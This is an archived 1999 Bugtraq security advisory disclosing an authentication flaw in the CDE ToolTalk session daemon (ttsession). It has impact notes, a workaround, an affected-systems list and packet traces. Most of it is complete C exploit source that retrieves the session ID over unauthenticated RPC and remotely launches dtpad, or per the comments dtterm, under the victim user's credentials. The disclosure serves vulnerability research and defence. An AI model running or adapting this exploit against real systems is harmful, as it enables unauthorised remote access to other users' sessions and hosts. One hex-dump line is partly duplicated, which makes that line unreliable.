Bugtraq mailing list archives

Vulnerability in ttsession


From: job () ITSX COM (Job de Haas)
Date: Mon, 13 Sep 1999 16:06:42 +0200


Hello,

I discovered the following security problem in ttsession, part of CDE:

Description
-----------
The ToolTalk session daemon ttsession does not properly check client
credentials.

Impact
------
The insufficient check can lead to compromise of a system from both local
and remote with the credentials of the user running ttsession. Note that
ttsession is not a system daemon and may not be running all the time. It is
normally started as part of an X-session. Also client programs of ttsession
may restart the daemon if it can not be found running.

Workaround
----------
This problem has only been detected when the ttsession daemon is running with
Unix RPC authentication flavor. This is the default. With options this can be
changed to, for example, secure-RPC (DES). With CDE it can be configured in
/usr/dt/bin/Xsession.

Affected systems
----------------
As far as I know, ttsession has been part of OpenWindows (SunOS 4.1.x and
Solaris), CDE (Solaris, AIX, HP, OSF/Digital, others?) and IRIX.

It looks like most systems running CDE are vulnerable, although the only
systems I have checked were:

Solaris 7, 2.6, 2.5.1
OSF v4.0
HP-UX B.10.20
AIX 2 4 000096754200

It is unknown what the status with respect to SunOS 4.1.x and SGI is.

Background
----------
The ttsession daemon is part of the ToolTalk toolkit and allows applications
to send messages to each other. This is achieved by RPC calls. The RPC calls
are not properly authenticated.

When sniffing a tt_open request to a remote host the following can be seen:

host1 -> host2 TCP D=33169 S=38194 Syn Seq=3510273898 Len=0
host2 -> host1 TCP D=38194 S=33169 Syn Ack=3510273899 Seq=914492820
host1 -> host2 TCP D=33169 S=38194     Ack=914492821 Seq=3510273899
host1 -> host2 RPC C XID=932526186 PROG=1289637086 VERS=4 PROC=0
host2 -> host1 TCP D=38194 S=33169     Ack=3510273971 Seq=914492821
host2 -> host1 RPC R (#4) XID=932526186 Success
host1 -> host2 RPC C XID=932526185 PROG=1289637086 VERS=4 PROC=400
host2 -> host1 TCP D=38194 S=33169     Ack=3510274043 Seq=914492849
host2 -> host1 RPC R (#7) XID=932526185 Success
host1 -> host2 RPC C XID=932526184 PROG=1289637086 VERS=4 PROC=18
host2 -> host1 RPC R (#10) XID=932526184 Success
host1 -> host2 RPC C XID=932526183 PROG=1289637086 VERS=4 PROC=11
host2 -> host1 RPC R (#12) XID=932526183 Success
host1 -> host2 TCP D=33169 S=38194     Ack=914493001 Seq=3510274267
host1 -> host2 TCP D=33169 S=38194 Fin Ack=914493001 Seq=3510274267
host2 -> host1 TCP D=38194 S=33169     Ack=3510274268 Seq=914493001
host2 -> host1 TCP D=38194 S=33169 Fin Ack=3510274268 Seq=914493001
host1 -> host2 TCP D=33169 S=38194     Ack=914493002 Seq=3510274268

This shows how first the NULL procedure of ttsession is called and next a
procedure with number 400. Then procedure 18 and 11 are called. The contents
of the reply to the PROC=400 call is something like:

host2 -> host1 RPC R (#7) XID=932526185 Success

           0: 0800 0000 0000 0800 0000 0000 0800 4500    .. tUb.. .v...E.
          16: 0078 b3ab 4000 ff06 a2bf 7f00 0001 7f00    16: 0078 b3ab 4000 ff06 a2bf 7f00 0001 7f00    .x..@...........
          32: 0001 8191 9532 3682 0db1 d13a 87fb 5018    .....26....:..P.
          48: 2238 427e 0000 8000 004c 3795 3869 0000    "8B~.....L7.8i..
          64: 0001 0000 0000 0000 0000 0000 0000 0000    ................
          80: 0000 0000 002d 5020 3031 2031 3831 3736    .....-P 01 18176
          96: 2031 3238 3936 3337 3038 3620 3120 3020     1289637086 1 0
         112: 3130 3030 2031 302e 302e 302e 3130 2034    1000 10.0.0.10 4
         128: 0000                                       ..

This same string can be found in the environment of a shell started as part
of a CDE X-session (if it was started by ttsession):

TT_SESSION=01 18176 1289637086 1 0 1000 10.0.0.10 4

This is also described in the man page for ttession(1).
When this strings is looked at more closely, some aspects can be recognized.
The number 1289637086 for example is the RPC program number (Solaris 7). Also
the IP of the remote host can be seen (10.0.0.10). The number 18176 is the
PID of the ttsession process and 1000 is the uid of the user running
ttsession.

When playing around with the RPC call to retrieve this string from ttsession,
I discovered it doesn't need client credentials to match the user which is
running ttsession. Thus anyone can retrieve this string from a ttsession
daemon!

This combined with the discovery that the string is used by the tt_open call
to determine the remote ttsession to connect to leads to the exploit code
below. This code uses a message to invoke a dtpad on the host running
ttsession. By using some tricks, it makes sure the dtpad is displayed on
the requested DISPLAY.

Reason why the exploit may fail:

When a dtpad has been display on a X-server, it will keep a lock on that
server until the dtpad -server process on the remote host has been
terminated. Until that time no other dtpads from different hosts can be
displayed on that Xserver. Close the X session and log back in again and
try again.

Regards,

Job

---
Job de Haas         job () itsx com
ITSX bv      http://www.itsx.com

-------8<-----------------------------------------------------------------
/*
 * ttjamsession.c
 * Job de Haas
 * (c) ITSX bv 1999
 *
 * This is a simple ttsession exploit to show some problems with
 * authentication of a remote user. The possibilities after authentication
 * are not limited to starting dtpad, but rather any ptype as can be shown
 * with tt_type_comp. On Solaris this includes dtterm.
 *
 * compile with:
 * cc -L/usr/dt/lib -I/usr/dt/include -I/usr/openwin/include -ltt -lnsl
 *    ttjamsession.c -o ttjamsession
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <rpc/rpc.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <pwd.h>

#include <Tt/tt_c.h>
#include <Tt/tttk.h>

#define TTSESSION_PROG      1342177279
#define TTSESSION_PROG_SOL7 1289637086
#define TTSESSION_VERS      3
#define TTSESSION_GETSESSID 400

long rpcprog = TTSESSION_PROG;
int  version = TTSESSION_VERS;
long uid = -1;
int use_env = 0;
int test = 0;

/*
 * For some reason the string is not returned with xdr_wrapstring. After
 * some fiddling this seems to work.
 *
 */
xdr_mystring(xdrs, objp)
        register XDR *xdrs;
        char **objp;
{
    int len;

    if (!xdr_int(xdrs, &len)) {
        return 0;
    }

    *objp =  (char *)malloc(len + 1);
    if (xdr_opaque(xdrs, (caddr_t)*objp, len)) {
        (*objp)[len] = '\0';
    } else { return 0; }

    return(1);
}

/*
 * This is some generated code by ttsnoop (nice program! at least on sol 2.6)
 * It was modified a bit to get it to spawn the program on the correct display
 */

Tt_callback_action
process_Instantiate_reply( Tt_message msg, Tt_message pat );

Tt_message
create_Instantiate(
        Tt_message context,
        char *action
)
{
        Tt_message msg;
        msg = tttk_message_create( context, TT_REQUEST, TT_SESSION,
                        0, action,
                        (Tt_message_callback)process_Instantiate_reply );
        tt_message_arg_add( msg, TT_IN, "data", "data");
        tt_message_context_set( msg, "$DISPLAY",  getenv("DISPLAY"));
        tt_message_disposition_set( msg, TT_START);
        tt_message_handler_ptype_set( msg, "DTPAD");
        return msg;
}

static Tt_callback_action
process_Instantiate_reply(
        Tt_message msg,
        Tt_message pat
)
{
        switch (tt_message_state(msg)) {
                case TT_SENT:   /* handler is in this process */
                case TT_STARTED:/* intermediate state */
                case TT_QUEUED: /* intermediate state */
                default:        /* unknown state */
                        return TT_CALLBACK_CONTINUE;
                case TT_HANDLED:
                        /* ... */
                        break;
                case TT_FAILED: {
                        int status;
                        char *string;
                        status = tt_message_status( msg );
                        string = tt_message_status_string( msg );

                        printf("message failed with: %s\n",string);
                        /* ... */
                        } break;
        }
        tt_message_destroy( msg );
        return TT_CALLBACK_PROCESSED;
}

/*
 * The routine to get the remote sessionid string.
 *
 */
int
get_sessionid( remotehost, port)
char *remotehost;
ushort port;
{
    struct sockaddr_in  server_addr;
    enum clnt_stat      clnt_stat;
    struct hostent      *hp;
    struct timeval      timeout;
    CLIENT              *clnt;
    int                 msock;
    char                    *buf;
    char                *env;
    char                *hostname;
    char                localhost[MAXHOSTNAMELEN];

    memset((char *)&server_addr, 0, sizeof (server_addr));

    if (remotehost) {
        server_addr.sin_family = AF_INET;
        server_addr.sin_addr.s_addr = inet_addr(remotehost);
        if ( server_addr.sin_addr.s_addr == -1 ) {
            if ((hp = gethostbyname(remotehost)) == NULL) {
                printf("Can't resolve %s\n",remotehost);
                exit(1);
            }
            memcpy((char *)&server_addr.sin_addr, hp->h_addr, hp->h_length);
            hostname = strdup( remotehost );
        }
    }
    else {
        if (gethostname(localhost, MAXHOSTNAMELEN)<0) {
            perror("gethostname");
            exit(1);
        }
        if (hp = gethostbyname(localhost)) {
            memcpy((char *)&server_addr.sin_addr, hp->h_addr, hp->h_length);
            hostname = strdup( localhost );
        } else {
            server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
            hostname = strdup( "127.0.0.1" );
        }
    }

    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(port);
    msock = RPC_ANYSOCK;
    timeout.tv_sec = 15;
    timeout.tv_usec = 0;

    if ( (clnt = (CLIENT *)clnttcp_create(&server_addr, rpcprog,
             TTSESSION_VERS, &msock, 10000, 10000)) == NULL) {
        clnt_pcreateerror("clnttcp_create");
        exit(1);
    }

    /*
     * apparently credentials are not checked!
     */
    clnt->cl_auth = authunix_create(hostname, 0, 0, 0, NULL);

    if ((clnt_stat = clnt_call(clnt, TTSESSION_GETSESSID,
                (xdrproc_t) xdr_void, (caddr_t) 0,
                (xdrproc_t) xdr_mystring, (caddr_t) &buf,
                timeout)) != RPC_SUCCESS) {
        clnt_perror(clnt, "get session");
        return(-1);
    }

    /*
     * put TT_SESSION in the environment for tt_open to use.
     */
    env = malloc( strlen("TT_SESSION=") + strlen( buf+2 ) +1);
    strcpy(env,"TT_SESSION=");
    strcat(env,buf+2);
    putenv( env );

    printf("Session ID: %s\n", buf);

    return(0);
}

usage(progname)
char *progname;
{
    fprintf(stderr,
        "Usage: %s [-p port] [-r rpc prognumber] [-u uid]\n", progname);
    fprintf(stderr,"        [-7] [-t] [-e] hostname\n");
    fprintf(stderr,"[-7] use Solaris 7 default ttsession program number\n");
    fprintf(stderr,"[-t] test the RPC call but not send messages\n");
    fprintf(stderr,"[-e] get TT_SESSION from environment (no RPC call)\n");
    exit(-1);
}

int main(argc, argv)
int argc;
char **argv;
{
    char *hostname = NULL;
    struct in_addr addr;
    extern  int optind;
    extern  char *optarg;
    short port = 0;
    char c, *cp;
    Tt_message context, msg;
    char *procid;

    while ((c = getopt(argc, argv, "u:p:r:7et")) != EOF) {

        switch (c) {
            case 'r':
                rpcprog = atoi(optarg);
                break;
            case 'p':
                port = atoi(optarg);
                break;
            case 'u':
                uid = atoi(optarg);
                break;
            case '7':
                rpcprog = TTSESSION_PROG_SOL7;
                break;
            case 'e':
                use_env = 1;
                break;
            case 't':
                test = 1;
                break;
            default:
                usage(argv[0]);
        }
    }

    if (optind < argc) {
        hostname = strdup(argv[optind++]);
    }

    if (optind < argc) {
        port = atoi(argv[optind++]);
    }

    if (optind < argc) {
        usage(argv[0]);
    }

    /* setup the socket and test correct service */
    if ( !use_env && (get_sessionid( hostname, port ) < 0 )) {
        printf("Failed to properly connect to ttsession\n");
        exit(1);
    }

    if (test) exit(0);

    /*
     * Open up the channel to ttsession. The code uses the TT_SESSION
     * environment var to figure out how.
     */
    if (((procid = tt_open()) == NULL) || (*procid == '\0')) {
        perror("tt_open");
        exit(1);
    }

    /*
     * Now we can send messages... like instantiate a dtpad!
     * Two messages are sent to cause a new dtpad -server to be started
     * so that the dtpad will be displayed on our server even if the local
     * user is also using dtpad. I use sleep cause I can't seem to trigger
     * the callback.
     *
     */
    msg = create_Instantiate(context, NULL);
    tt_message_send(msg);
    sleep(10);
    msg = create_Instantiate(context, "Instantiate");
    tt_message_send(msg);
    sleep(10);

    /* no idea if I got to wait for the callback */

    exit(0);
}



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